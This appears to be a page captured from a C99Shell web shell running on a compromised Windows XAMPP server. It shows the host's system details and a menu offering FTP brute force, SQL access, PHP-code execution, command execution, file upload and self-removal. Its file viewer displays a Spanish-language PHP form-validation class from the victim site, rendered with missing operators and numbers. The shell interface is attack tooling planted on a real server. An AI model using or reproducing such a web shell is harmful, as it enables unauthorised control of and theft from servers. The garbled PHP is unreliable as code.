!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\portel_dama\administracion\clases_herramientas\   drwxrwxrwx
Free 7.95 GB of 239.26 GB (3.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class_validar_datos.php (2.54 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class validar_datos {
  
       function 
validar_datos($variable$nombre_campo ,$tipo_validacion$obligatorio$comparar)
       {
               
$this->variable $variable;
            
$this->nombre $nombre_campo;
            
$this->tipo $tipo_validacion;
            
$this->obligatorio $obligatorio;
            
$this->comparar $comparar;
            
$this->STOP 0;

            
// 1. Establecer obligatoriedad
            
            
if ($this->obligatorio == 1) {
            
                if (
$this->variable == "") {
                    
$primera_validacion 0;
                    
$this->STOP 1;
                    
$aviso = new aviso("El campo " $this->nombre " es obligatorio y no ha sido diligenciado, por favor intente de nuevo."0);
                }else{
                    
$primera_validacion 1;
                }
            
            }else{
                
$primera_validacion 1;
            }
            
            
// 2. Validar de acuerdo al tipo
            
            
if ($primera_validacion == 1) {
            
                
// 2.1 Campos tipo numérico o 1
                
if ($this->tipo == and $variable != "") {
                    if (
is_numeric($variable)) {
                    
                    }else{
                        
$this->STOP 1;
                        
$aviso = new aviso("El campo " $this->nombre " tiene letras o caracteres especiales, y solo admite números, por favor intente de nuevo."0);
                    }
                }
            
                
// 2.2 Campos tipo dirección web o link o 2
                
if ($this->tipo == and $variable != "") {
                    
$c_1 substr_count($variable".");
                    
$c_2 substr_count($variable"http://");
                    
$c_3 substr_count($variable"ftp://");
                    
$c_4 substr_count($variable"mailto://");
                    
$c $c_1 $c_2 $c_3 $c_4;
                
                    if (
$c >= 2) {
                    
                    }else{
                        
$this->STOP 1;
                        
$aviso = new aviso("El campo " $this->nombre " no tiene los componentes clásicos que lo hagan parecer una URL correcta, por favor intente de nuevo."0);
                    }
                }            
            
                
// 2.3 Campos tipo correo electrónico o 3
                
if ($this->tipo == and $variable != "") {
                    
$c_1 substr_count($variable".");
                    
$c_2 substr_count($variable"@");
                    
$c $c_1 $c_2;
                
                    if (
$c >= 2) {
                    
                    }else{
                        
$this->STOP 1;
                        
$aviso = new aviso("El campo " $this->nombre " no tiene los componentes clásicos que lo hagan parecer una dirección de correo electronico correcta, por favor intente de nuevo."0);
                    }
                }            

                
// 2.4 Campos tipo fecha ó 5
                
if ($this->tipo == and $variable != "") {
                    if (
$variable >= $comparar) {
                        
$this->STOP 1;
                        
$aviso = new aviso("La fecha de retiro es antes o en el mismo momento que la de publicación, por favor intente de nuevo."0);                    
                    }else{

                    }
                }            
            }        
               
       } 
       
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--